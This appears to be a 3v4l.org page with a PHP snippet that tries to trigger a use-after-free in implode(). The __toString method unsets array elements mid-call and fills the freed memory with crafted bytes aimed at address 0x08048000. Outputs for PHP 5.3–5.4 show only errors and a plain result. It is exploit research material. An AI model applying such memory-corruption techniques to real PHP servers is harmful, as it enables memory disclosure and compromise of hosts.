3v4l.org

run code in 300+ PHP versions simultaneously
<?php class volatile { public function __toString() { unset($GLOBALS['arr1'][0]); unset($GLOBALS['arr1'][1]); // memory 0x08048000 $GLOBALS['test1'] .= "\x00\x80\x04\x08\xff\xff\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; return ''; } } $test1=''; $arr1 = array(new volatile, 1); $data = implode(",", &$arr1); var_dump($data);
Output for 5.4.0 - 5.4.17
Fatal error: Call-time pass-by-reference has been removed in /in/rBnB7 on line 13
Process exited with code 255.
Output for 5.3.28 - 5.3.29
Deprecated: Call-time pass-by-reference has been deprecated in /in/eQQW0 on line 13 string(1) ","
Output for 5.3.0 - 5.3.27
Deprecated: Call-time pass-by-reference has been deprecated in /in/rBnB7 on line 13 string(1) ","

preferences:
178.97 ms | 1395 KiB | 55 Q